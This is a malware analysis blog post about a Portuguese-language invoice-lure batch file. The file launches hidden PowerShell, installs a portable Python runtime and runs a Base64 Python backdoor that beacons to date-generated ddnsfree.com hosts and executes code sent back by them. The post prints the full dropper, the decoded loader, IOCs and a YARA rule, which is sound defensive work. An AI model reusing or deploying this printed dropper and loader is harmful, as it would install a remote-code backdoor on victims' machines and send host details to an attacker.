Analysis of a python loader
Summary
- It’s a highly obfuscated python script
- It deploys a base64 encoded python payload which is the second stager and after running that we can get the final stager
- It gives out randomly named domains
- The payload directly downloads the python DLL files
- It performs a lot of volatile actions
Analysis of the Batch File
@echo off
echo Documento indisponivel > %USERPROFILE%\downloads\NF-eletronica.txt
start %USERPROFILE%\downloads\NF-eletronica.txt
powershell -WindowStyle Hidden -Command “& {
$code = @’
@echo off
setlocal EnableDelayedExpansion
set “texto=%COMPUTERNAME%”
set “texto=%texto:DESKTOP=%”
set “texto=%texto:-=%”
for /f “delims=” %%i in (‘powershell -command “$a=’To’+’Base64'+’String’; $b=’Get’+’Bytes’; [Convert]::$a([Text.Encoding]::UTF8.$b(‘%texto%’)).TrimEnd(‘=’)”’) do set “NM=%%i”
set “LOC=%PROGRAMDATA%”
if not exist “%LOC%” (
mkdir “%LOC%”
)
if not exist “%LOC%\%NM%” (
powershell -command “Invoke-WebRequest -URI https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zip -OutFile “%LOC%\%NM%.zip””
powershell -command “Expand-Archive -Path “%LOC%\%NM%.zip” -DestinationPath “%LOC%\%NM%””
powershell -command “Copy-Item -Path ‘%LOC%\%NM%\pythonw.exe’ -Destination ‘%LOC%\%NM%\%NM%.exe’”
)
powershell -Command “Start-Sleep -Seconds 3”
:: Concatenate and decode the Base64 string
set “base64=IyAzMjkyNTMzMjgwNjkxOTAwMTQ0ODczNjkxMTM4NDAzNDY4CiMgOTgzNTgxNzE2NTU4MzU0NDgxOTc3NDkxMzQ1MDk1MDUxNQojIDkwMTQ5ODUzMzQ0MDY4MjAxODc5OTkyMjE0Mjg0NzI3Nwpmcm9tIHRpbWUgaW1wb3J0IHNsZWVwCmltcG9ydCBzb2NrZXQgYXMgc3MKZnJvbSByYW5kb20gaW1wb3J0IGNob2ljZQppbXBvcnQgd2lucmVnIGFzIHcKaW1wb3J0IHBpY2tsZQoKZGVmIHB0KCk6CiAgICBpbXBvcnQgZGF0ZXRpbWUKICAgIHRyeToKICAgICAgICBkID0gZGF0ZXRpbWUuZGF0ZS50b2RheSgpCiAgICAgICAgeSA9IFtdCiAgICAgICAgZm9yIHggaW4gcmFuZ2UoNjAsIDEwMCwgNCk6CiAgICAgICAgICAgIHkuYXBwZW5kKGludChzdHIoaW50KGludChmJ3tkLmRheX17ZC5tb250aH17ZC55ZWFyfScpICogeCkpWzo0XSkpCiAgICAgICAgcmV0dXJuIHkKICAgIGV4Y2VwdDoKICAgICAgICByZXR1cm”
set “base64=!base64!4gWzQ0M10KZGVmIGxrKCk6CiAgICBpbXBvcnQgaGFzaGxpYgogICAgZnJvbSBkYXRldGltZSBpbXBvcnQgZGF0ZQogICAgdHJ5OgogICAgICAgIGQgPSBkYXRlLnRvZGF5KCkKICAgICAgICB3aSA9IGQud2Vla2RheSgpCiAgICAgICAgZGkgPSBkLmRheSArIHdpCiAgICAgICAgbCA9ICdyc3R1dnh6d2t5amxtbm9wcWFiY2doamxhYmNkZWZnaGlqbG1ub3BxJ1tkaV0KICAgICAgICByID0gW10KICAgICAgICBmb3IgXyBpbiByYW5nZSg1MSwgNjIsIDUpOgogICAgICAgICAgICB0ID0gaGFzaGxpYi5zaGExKGYie2RpKndpKl99e2x9e3dpfXtsfXtkLm1vbnRoICogZGkqX317bH17ZC55ZWFyKmRpKl99Ii5lbmNvZGUoKSkuaGV4ZGlnZXN0KCkqMTAKICAgICAgICAgICAgci5hcHBlbmQodFs6X10ucmVwbGFjZSh0WzpkaV0sIGwpLmxvd2VyKClbOjQ4XSkKICAgICAgICByZXR1cm4gcgogICAgZXhjZXB0Ogog”
set “base64=!base64!ICAgICAgIHJldHVybiBbZidnb29nbGV7ZGl9J10KCgpkZWYgcChjLCBuKToKICAgIHMyID0gdy5PcGVuS2V5KHcuSEtFWV9MT0NBTF9NQUNISU5FLCBjKQogICAgcmV0dXJuIHcuUXVlcnlWYWx1ZUV4KHMyLCBuKVswXQpwciA9IHAocidIQVJEV0FSRVxcREVTQ1JJUFRJT05cXFN5c3RlbVxcQ2VudHJhbFByb2Nlc3NvclxcMCcsICdQcm9jZXNzb3JOYW1lU3RyaW5nJykKdnMgPSBwKHInU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93cyBOVFxcQ3VycmVudFZlcnNpb24nLCAnUHJvZHVjdE5hbWUnKQp3aGlsZSBUcnVlOgogICAgdHJ5OgogICAgICAgIGlmICdCcm9hZHdlbGwnIGluIHByOgogICAgICAgICAgICBicmVhawogICAgICAgIHdpdGggc3Muc29ja2V0KHNzLkFGX0lORVQsIHNzLlNPQ0tfU1RSRUFNKSBhcyBzOgogICAgICAgICAgICBzLnNldHRpbWVvdXQoMzApCiAgICAgICAgICAgIHMuY29ubm”
set “base64=!base64!VjdCgoZid7Y2hvaWNlKGxrKCkpfS5kZG5zZnJlZS5jb20nLCBjaG9pY2UocHQoKSkpKQogICAgICAgICAgICBzLnNlbmQoZidweUNvZGVWMyAtICpORVdXKiB7c3MuZ2V0aG9zdG5hbWUoKX0gfCB7dnN9IHwge3ByfSAnLmVuY29kZSgpKQogICAgICAgICAgICBpbmZvX2JpbiA9IGInJwogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgYyA9IHMucmVjdigxMDI0KQogICAgICAgICAgICAgICAgaWYgbm90IGM6CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGluZm9fYmluICs9IGMKICAgICAgICAgICAgaW5mbyA9IHBpY2tsZS5sb2FkcyhpbmZvX2JpbikKICAgICAgICAgICAgZXhlYyhpbmZvWydDb2RlUHknXSwgeydkYXRhUmVjJzogaW5mb1snZmlsZSddLCAncHltbSc6IGluZm9bJ2ZpbGUyJ119KQogICAgICAgICAgICBicmVhawogICAgZXhjZXB0OgogICAgICAgIHNsZWVwKDEwKQpzbGVlcCgzKQo=”
“%LOC%\%NM%\%NM%.exe” -c “import base64; exec(base64.b64decode(b’’’!base64!’’’)); exit()”
exit
‘@
Start-Process cmd -ArgumentList ‘/c’, $code -NoNewWindow
}”
exit
I analyzed the uploaded .bat file and decoded its embedded Base64 payload. The file is highly suspicious and behaves like a staged Python-based backdoor/loader.
1. Initial BAT behavior
The script first creates and opens a fake document:
echo Documento indisponivel > %USERPROFILE%\downloads\NF-eletronica.txt
start %USERPROFILE%\downloads\NF-eletronica.txtDocumento indisponivel is Portuguese for “Document unavailable.”
This is likely a decoy intended to make the victim believe the batch file simply failed to open a document.
2. Hidden PowerShell execution
It then launches PowerShell with:
powershell -WindowStyle Hidden -CommandThe PowerShell code contains another BAT script and executes it through:
Start-Process cmd -ArgumentList '/c', $code -NoNewWindowSo the execution chain is approximately:
BAT
│
├── Create fake NF-eletronica.txt
│
└── Hidden PowerShell
│
└── Execute embedded BAT
│
├── Generate victim-specific identifier
├── Download Python
├── Decode Base64
└── Execute Python payload3. Victim-specific identifier
The script takes:
%COMPUTERNAME%and removes:
DESKTOP
-It then Base64-encodes the resulting string.
For example, conceptually:
DESKTOP-ABC123
↓
ABC123
↓
Base64
↓
QUJDMTIzThis value becomes:
%NM%The identifier is used to create a directory under:
%PROGRAMDATA%\%NM%\This gives the malware a machine-specific installation location.
4. Python downloader
The BAT downloads an official Python embeddable ZIP:
https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zipSpecifically:
python-3.13.0-embed-win32.zipIt saves it under:
%PROGRAMDATA%\%NM%.zipand extracts it to:
%PROGRAMDATA%\%NM%\Then:
Copy-Item ...\pythonw.exe ...\%NM%.exerenames/copies pythonwexe to a machine-specific executable name.
Why this is suspicious
Instead of carrying its own Python interpreter, the malware bootstraps Python onto the victim and then uses it to run the second-stage payload.
Using pythonw.exe also avoids the normal console window.
5. Embedded Base64 payload
The BAT contains a Base64 blob split across multiple variables:
set "base64=..."
set "base64=!base64!..."
set "base64=!base64!..."The final command is:
"%LOC%\%NM%\%NM%.exe" -c "import base64; exec(base64.b64decode(b'''!base64!''')); exit()"Therefore:
Base64
↓
Python source code
↓
exec()I decoded it successfully.
Download the decoded Python payload
6. Decoded Python payload
The decoded payload imports:
from time import sleep
import socket as ss
from random import choice
import winreg as w
import pickleThe most important modules are:
ModulePurposesocketNetwork communicationwinregWindows Registry accesspickleDeserialize received Python objectexecExecute received Python codehashlibGenerate dynamic domainsrandom.choiceRandomize C2 domain/port
The combination of:
pickle.loads(...)followed by:
exec(...)is particularly dangerous.
7. Anti-analysis / environment check
The payload reads:
pr = p(
r'HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0',
'ProcessorNameString'
)This retrieves:
ProcessorNameStringfrom the Windows Registry.
It also obtains:
vs = p(
r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',
'ProductName'
)which provides the Windows product/version information.
The important check is:
if 'Broadwell' in pr:
breakThis is an environment-specific execution condition.
If the processor string contains Broadwell, the program stops before contacting the C2.
Otherwise it proceeds to the network communication.
This could be used as an anti-analysis or victim-selection mechanism.
8. Dynamic C2 generation
The function:
def lk():generates C2 domain names dynamically.
It uses:
hashlib.sha1(...)and the current date:
date.today()The generated domains are then appended with:
.ddnsfree.comSo the malware doesn’t have a single hard-coded C2 such as:
malicious.example.comInstead:
Current date
↓
SHA-1 calculations
↓
Dynamic hostname
↓
<generated>.ddnsfree.comThis is characteristic of a domain-generation / dynamic infrastructure technique.
9. Dynamic ports
The function:
def pt():also generates multiple ports based on the current date:
for x in range(60, 100, 4):The resulting values are used with:
choice(pt())So the malware randomly chooses one of the generated ports.
Get Shubho57’s stories in your inbox
Join Medium for free to get updates from this writer.
For the current date August 2, 2026, the algorithm produces these ports:
1692
1804
1917
2030
2143
2256
2369
2481
2594
270The generated C2 domains for that date are:
k7480b6329581a0b820d58ebbdc846d66k748.ddnsfree.com
ke6535d7d751b38ec5f7f046a2c38ab25ke6535d7d.ddnsfree.com
k53f1f2d08b118a56def8b2df42c706b3k53f1f2d08b118.ddnsfree.comImportant: these are algorithmically generated values for the current date, not necessarily evidence that the domains are currently active.
10. C2 connection
The actual network connection is:
s.connect(
(f'{choice(lk())}.ddnsfree.com',
choice(pt()))
)This means:
Random generated hostname
+
Random generated port
↓
TCP connectionThe socket has a:
30 secontimeout.
11. Host information sent to C2
After connecting, it sends:
s.send(
f'pyCodeV3 - *NEWW* {ss.gethostname()} | {vs} | {pr} '.encode()
)The C2 receives information containing:
pyCodeV3
*NEWW*
hostname
Windows ProductName
ProcessorNameStringSo the malware performs basic host reconnaissance / victim identification before receiving its next stage.
12. Receives arbitrary data from C2
The next section is especially significant:
info_bin = b''while True:
c = s.recv(1024) if not c:
break info_bin += cThe attacker-controlled response is accumulated in memory.
Then:
info = pickle.loads(info_bin)The received bytes are deserialized using Python pickle.
This is dangerous because pickle is not a safe serialization format for untrusted data.
13. Remote code execution
The decoded object is expected to contain:
info['CodePy']
info['file']
info['file2']Then:
exec(
info['CodePy'],
{
'dataRec': info['file'],
'pymm': info['file2']
}
)This is effectively:
C2
↓
send Python code
↓
pickle.loads()
↓
extract CodePy
↓
exec()
↓
execute attacker-controlled PythonThis makes the BAT a second-stage loader/backdoor, rather than the complete malware itself.
The C2 can potentially supply arbitrary Python instructions.
14. Key IOCs / artifacts
File paths
%USERPROFILE%\Downloads\NF-eletronica.txt%PROGRAMDATA%\%NM%.zip%PROGRAMDATA%\%NM%\%PROGRAMDATA%\%NM%\%NM%.exeExternal URL
https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zNote that this is an official Python URL. Its presence does not mean Python itself is malicious — the malware is abusing a legitimate interpreter as its execution environment.
Dynamic C2 infrastructure
*.ddnsfree.comRegistry keys queried
HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0
ProcessorNameStringand:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName15. Overall execution flow
The complete chain is:
User executes .BAT
│
├── Creates fake NF-eletronica.txt
│
├── Opens decoy document
│
└── Starts hidden PowerShell
│
└── Embedded BAT
│
├── Gets COMPUTERNAME
│
├── Removes DESKTOP / "-"
│
├── Base64-encodes identifier
│
├── Creates %PROGRAMDATA%\<ID>\
│
├── Downloads Python 3.13 embedded
│
├── Extracts Python
│
├── Creates <ID>.exe from pythonw.exe
│
├── Reconstructs Base64
│
└── Base64 decode
│
▼
Python stage
│
├── Reads CPU
├── Reads Windows version
│
├── Generates C2 domains
├── Generates C2 ports
│
├── TCP connection
│
├── Sends victim information
│
├── Receives serialized object
│
├── pickle.loads()
│
└── exec(CodePy)
│
▼
C2-delivered payloadVerdict
I would classify this BAT as malicious/suspicious with high confidence.
The strongest indicators are:
- Hidden PowerShell execution
- Decoy document
- Downloading an interpreter at runtime
- Embedded Base64 Python payload
- Dynamic C2 generation
*.ddnsfree.cominfrastructure- Host fingerprinting
- Network-delivered Python code
pickle.loads()on attacker-controlled network dataexec(info['CodePy'])- Multi-stage architecture
The most important limitation is that the final payload is not embedded in this BAT. The BAT contains a loader that contacts the C2 and receives CodePy, file, and file2. Therefore, the next level of analysis would be to statically reconstruct the DGA algorithm and C2 protocol, and then analyze the expected pickle object structure and the remotely supplied CodePy stage without executing it.
Base64 decoded payload
# 3292533280691900144873691138403468
# 9835817165583544819774913450950515
# 901498533440682018799922142847277
from time import sleep
import socket as ss
from random import choice
import winreg as w
import pickle
def pt():
import datetime
try:
d = datetime.date.today()
y = []
for x in range(60, 100, 4):
y.append(int(str(int(int(f’{d.day}{d.month}{d.year}’) * x))[:4]))
return y
except:
return [443]
def lk():
import hashlib
from datetime import date
try:
d = date.today()
wi = d.weekday()
di = d.day + wi
l = ‘rstuvxzwkyjlmnopqabcghjlabcdefghijlmnopq’[di]
r = []
for _ in range(51, 62, 5):
t = hashlib.sha1(f”{di*wi*_}{l}{wi}{l}{d.month * di*_}{l}{d.year*di*_}”.encode()).hexdigest()*10
r.append(t[:_].replace(t[:di], l).lower()[:48])
return r
except:
return [f’google{di}’]
def p(c, n):
s2 = w.OpenKey(w.HKEY_LOCAL_MACHINE, c)
return w.QueryValueEx(s2, n)[0]
pr = p(r’HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0', ‘ProcessorNameString’)
vs = p(r’SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion’, ‘ProductName’)
while True:
try:
if ‘Broadwell’ in pr:
break
with ss.socket(ss.AF_INET, ss.SOCK_STREAM) as s:
s.settimeout(30)
s.connect((f’{choice(lk())}.ddnsfree.com’, choice(pt())))
s.send(f’pyCodeV3 — *NEWW* {ss.gethostname()} | {vs} | {pr} ‘.encode())
info_bin = b’’
while True:
c = s.recv(1024)
if not c:
break
info_bin += c
info = pickle.loads(info_bin)
exec(info[‘CodePy’], {‘dataRec’: info[‘file’], ‘pymm’: info[‘file2’]})
break
except:
sleep(10)
sleep(3)
Execution chain
- A
.batfile downloaded toC:\Users\admin\Downloads\is run viacmd.exe. - That batch script launches
powershell.exewith-WindowStyle Hidden -Command "& {...}"— a hidden, invisible PowerShell window running an inline script block. This is a classic technique to execute code without showing any window to the user (Images 1–3).
Payload staging
3. PowerShell drops a fake/renamed Python interpreter and support files into C:\ProgramData\QkZUUFVIUA\ (a randomly-named folder, typical obfuscation):
python.exe(Image 7) — an embedded/portable Python interpretervcruntime140.dll(Image 5) — the Visual C++ runtime needed for that Python build to run_asyncio.pyd(Image 4) — a Python dynamic module (asyncio), suggesting the payload uses async networking (common in C2/backdoor loaders)
- It then queries the file extension of
pythonw.exe(the windowless Python launcher) via.NET'sPath.GetExtensioncall (Image 6), likely as part of the script's own logic to locate/launch it correctly.
What this adds up to
This is a classic fileless-to-file-drop loader pattern:
- Batch file → hidden PowerShell → drops a portable Python environment on disk → likely uses
pythonw.exe(no console window) to run a Python-based payload (stealer, RAT, or loader) next.
Using a bundled Python interpreter instead of relying on Python already being installed is a common technique to run Python-based malware (info-stealers like some variants of “Snake Keylogger,” RATs, etc.) on machines that don’t have Python, while keeping everything hidden from the user.
- Lure/delivery
NF-eletronica.txtlaunched from the Downloads folder — likely a fake "invoice" (Portuguese "NF" = Nota Fiscal, i.e. an invoice/receipt lure) used to trick the user into opening it, kicking off the.bat→ hidden PowerShell chain from before.
2. Building a portable Python environment
- PowerShell extracts
python313.zip(Image 1) — a full portable Python 3.13 distribution — intoC:\ProgramData\QkZUUFVIUA\. This explains thepython.exe,vcruntime140.dll, and_asyncio.pyddrops from your earlier screenshots: it's not a custom binary, it's a legitimate embeddable Python runtime being smuggled in to execute a malicious Python script. - Files like
fetch_macholib.batsitting insidectypes/macholib/and aREADME.txtfromsite-packagesare unpacked as part of that zip's normal folder structure — attackers often hide their loader/payload script deep inside a legitimate-looking Python package tree (ctypes/macholib/...) to blend in and dodge casual inspection. A.batfile inside a Python package folder is very out of place and is almost certainly the actual next-stage payload launcher, not a real Python module file.
3. Command-and-control (C2)
- The infected host performs DNS lookups for multiple subdomains under
ddnsfree.com(Images 2–4) — a free Dynamic DNS provider (Dynu). This is textbook C2 infrastructure: malware families abuse dynamic DNS so operators can change the backend IP freely while the malware always resolves the same-looking hostname, and defenders can't just blocklist a static IP. - The random-looking subdomain labels (
u078cd5b074ee47faf83dd8d4f5f43a3605350u...) suggest each one is either a per-victim/per-campaign identifier or auto-generated — consistent with commodity malware/RAT panels that assign unique beacon subdomains. - The Suricata/ET rule firing (
ET INFO DYNAMIC_DNS Query to a *.ddnsfree.com Domain, SID 2046001) is flagged only as Informational/bad-unknown by itself — dynamic DNS isn't inherently malicious — but combined with everything else here it's strong corroborating evidence of active C2 beaconing.
Putting it all together, this is:
A Python-based RAT/stealer loader, delivered via a fake invoice lure → batch file → hidden PowerShell → drops a full portable Python 3.13 runtime disguised inside legitimate-looking package folders → executes a hidden Python payload → beacons out to dynamic-DNS-hosted C2 infrastructure (Dynu/ddnsfree.com).
This pattern (fake invoice lure + hidden PowerShell + embedded Python + DDNS C2) closely matches commodity info-stealer/RAT families that have been increasingly seen using bundled Python interpreters to evade static AV signatures — e.g. variants distributed through malspam campaigns targeting Portuguese-speaking regions (the “NF”/invoice theme fits Brazilian phishing campaigns specifically).
Conclusion
The analyzed BAT is a multi-stage Python-based loader/backdoor that uses a decoy document, hidden PowerShell, a downloaded Python runtime, Base64-encoded Python, victim fingerprinting, and C2 communication. Its most significant behavior is the reception of a serialized Python object followed by exec(info['CodePy']), allowing the C2 to deliver and execute arbitrary Python code. The final payload cannot be determined without recovering the C2 response containing CodePy, file, and file2.
MITRE ATT&CK
IOCs
YARA Rule
rule Suspicious_Python_C2_BAT_Loader
{
meta:
description = “Detects a Python-based BAT loader using hidden PowerShell, embedded Base64, pickle and CodePy execution”
author = “Subhankar H.”
date = “2026–08–06”
severity = “high”
strings:
$ps = “powershell -WindowStyle Hidden” ascii nocase
$python = “python-3.13.0-embed-win32.zip” ascii nocase
$marker = “pyCodeV3 — *NEWW*” ascii
$pickle = “pickle.loads” ascii
$exec = “exec(info[‘CodePy’])” ascii
$ddns = “.ddnsfree.com” ascii nocase
$azure = “brazilsouth.cloudapp.azure.com” ascii nocase
$reg1 = “ProcessorNameString” ascii
$reg2 = “ProductName” ascii
condition:
3 of ($ps, $python, $marker, $pickle, $exec, $ddns, $azure, $reg1, $reg2)
}
Happy Reading!!!








